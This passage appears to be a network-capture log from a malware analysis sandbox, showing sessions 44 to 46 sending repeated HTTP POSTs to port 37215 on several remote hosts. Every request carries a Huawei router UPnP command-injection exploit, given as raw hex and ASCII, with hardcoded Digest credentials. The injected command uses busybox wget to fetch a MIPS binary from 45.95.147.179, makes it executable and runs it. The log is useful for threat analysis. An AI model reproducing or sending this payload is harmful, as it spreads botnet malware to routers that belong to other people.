73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.20	52734	156.254.69.205	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:17.759540081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:19.208702087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:20.948781013 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:24.428615093 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:31.388633966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:45.324748039 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:13.164652109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.20	45732	45.33.252.24	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:20.961149931 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.20	40230	156.254.67.48	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:21.086354971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
